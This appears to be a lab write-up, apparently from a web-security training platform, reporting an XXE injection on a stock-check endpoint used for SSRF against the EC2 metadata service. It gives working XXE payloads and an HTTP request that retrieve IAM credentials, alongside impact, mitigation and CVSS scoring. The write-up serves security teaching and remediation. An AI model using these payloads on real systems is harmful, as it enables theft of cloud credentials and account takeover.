

Title of Issue

XML External Entity (XXE) Injection — Server-Side Request Forgery via External Entities

Description

The application's XML-parsing stock-check endpoint is vulnerable to XXE injection that can be leveraged to perform Server-Side Request Forgery (SSRF). By defining an external entity that references an internal HTTP URL rather than a local file path, an attacker can cause the server to make HTTP requests to internal services that are not directly accessible from the internet.

In this lab, the internal EC2 metadata endpoint (`http://169.254.169.254/`) is targeted to retrieve cloud IAM credentials.

Affected Endpoint: `POST /product/stock` **Content-Type:** `application/xml`

Steps to Exploit

1. Navigate to any product detail page and intercept the `POST /product/stock` request.
2. Modify the request body to include an XXE payload targeting the EC2 metadata service:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-
data/iam/security-credentials/admin"> ]>
<stockCheck>
  <productId>&xxe;</productId>
  <storeId>1</storeId>
</stockCheck>
```

3. Forward the request.
 4. The application returns the contents of the EC2 metadata endpoint in the response — revealing AWS IAM credentials.
-

Proof of Concept

Stage 1 — Enumerate metadata endpoint:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```

Response: `latest`

Stage 2 — Traverse to IAM credentials:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-
data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```

HTTP Request:

```
POST /product/stock HTTP/1.1
Host: <lab-id>.web-security-academy.net
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-
data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```

Response (excerpt):

```
{
  "Type": "AWS-HMAC",
  "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token": "AQoXnyc4lcK4w..."
}
```

Impact

- Server-Side Request Forgery enabling access to internal-only HTTP services.
- Exposure of cloud IAM credentials (AWS, GCP, Azure) from metadata APIs — these can be used to compromise the entire cloud account.
- Ability to probe and interact with internal microservices, databases, or admin interfaces not exposed externally.
- Potential for full cloud account takeover via stolen IAM tokens.

Mitigation / Remediation

1. **Disable external entity and DTD processing** in the XML parser (same as XXE file read mitigation).
2. **Block or restrict outbound HTTP requests** from the application server using firewall rules or metadata endpoint protection.
3. **Use IMDSv2 (Instance Metadata Service v2)** on AWS EC2 instances — this requires a session-oriented protocol that prevents simple SSRF from accessing the metadata API.
4. **Validate the Content-Type header** and reject XML where JSON is expected.
5. **Implement egress filtering** to prevent the server from reaching internal RFC 1918 address ranges.

CVSS Score

CVSS v3.1 Score: 9.1 (Critical) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CVSS Justification

Metric	Value	Rationale
Attack Vector	Network	Remotely exploitable via HTTP

Attack Complexity	Low	No special conditions required
Privileges Required	None	Stock check is unauthenticated
User Interaction	None	No victim action required
Scope	Unchanged	Impact within the application and its cloud environment
Confidentiality Impact	High	Cloud IAM credentials fully exposed
Integrity Impact	High	Stolen credentials enable modification of cloud resources
Availability Impact	None	No disruption to the web application itself